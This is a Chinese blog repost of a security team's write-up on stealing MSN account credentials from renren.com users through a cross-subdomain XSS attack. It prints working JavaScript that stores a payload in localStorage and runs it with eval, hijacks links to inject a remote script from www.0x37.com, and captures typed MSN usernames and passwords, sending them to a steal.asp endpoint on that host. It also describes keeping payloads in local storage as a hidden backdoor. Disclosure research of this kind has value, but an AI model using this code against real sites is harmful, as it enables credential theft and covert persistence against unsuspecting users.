注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

那些星星点点的微芒,终会成为燃烧生命的熊熊之光

 
 
 
 
 

日志

 
 

人人网安全风险之跨子域盗msn号-跨站思路 [转]  

2012-09-05 11:42:13|  分类: 安全一路走来 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

sscon2009会议上《探究xss virus》的议题中我们提到:在基于web平台的操作层面上,有些类似传统桌面的攻击同样会发生,比如盗QQ号/MSN号/web网游号等。攻击的技巧可以好几种:高级钓鱼攻击(甚至不需基于XSS)、XSS keylogger、json hijacking等。

在sscon2009上我们演示的跨子域盗msn号的demo录像,录像挺大的这里放不了,我就提提过程与细节吧:

一、使用payload的方式:

利用renren.com任意子域下发现的xss,当用户被跨时,可以将如下payload写入到用户本地存储:cookie/userData/localStorage/flash cookie(我们对这些本地存储都做了相关demo),比如这里使用的是localStorage(IE8/ff已经通用,存储上限5M),那么下次读取并执行用户本地存储的payload只要简单一句:

eval(window.localStorage.getItem("shellcodz"));

当然我们也可以用传统的<script src=romote-domain/evil.js></script>这样调用远程payload。大家任意发挥。payload代码如下:

//alert(document.domain);
window.onload=function(){
//onload之后hijack,onload是一个很讨厌的机制!
alert(document.links.length);
for(i=0;i<document.links.length;i++){
document.links[i].onclick = hijack;
}
}

function hijack(){
//这里仅劫持目标页面的url:http://invite.renren.com/Invite.do
//invite里有msn邀请好友的功能,那里要求你输入msn账号密码
if(this.href.indexOf('invite.renren.com') == -1){return};
x=window.open(this.href);

//超时5秒是有道理的,inj函数与invite页面document.domain='renren.com'的时间竞争
//只要在document.domain='renren.com';之后执行inj,我们的跨子域攻击就可以成功
//因为此时子域的document.domain已经变为renren.com,随便跨吧:)
setTimeout("inj(x)",5000);
return false;
}
function inj(x){
s = x.document.createElement('script');
//注入msn账号密码监控脚本
s.src = 'http://www.0x37.com/domain/monitor.js';
x.document.getElementsByTagName('body')[0].appendChild(s)
}

 

二、监控脚本monitor.js的代码

sub=document.getElementsByTagName('input')[5];
sub.onclick=function(){
data = $("uAccount").value+','+$("pwd").value;
//alert(data);
new Image().src="http://www.0x37.com/domain/steal.asp?data="+escape(data);
}

很简单的一段代码,当用户输入msn账号密码邀请好友加入renren时,用户的msn账号密码就被盗了。

三、细节是什么

1、renren的web所有子域(应该是吧)都是用了document.domain='renren.com';
2、注入监控脚本与invite页面的document.domain='renren.com'的时间竞争;

四、有趣的地方在哪

1、我们尝试各种本地存储(除了google gears)来保存我们的payload,让这些恶意的操作可以持续并且不被用户发觉,甚至可以成为一个好后门;
2、跨子域后,我们可以做很多很多事;
3、如果你没一个好的xss漏洞,这个过程可能就不那么有趣了:),我仅在IE8成功进行如上测试。

大家愚人节快乐: ),关于人人网的安全风险,有时间我们会继续,下次应该是如何进行完美的钓鱼攻击。

from:http://xeyeteam.appspot.com/2010/04/1/renren-cross-subdomain-steal-msn-account.html (翻墙)

  评论这张
 
阅读(58)| 评论(0)
推荐

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017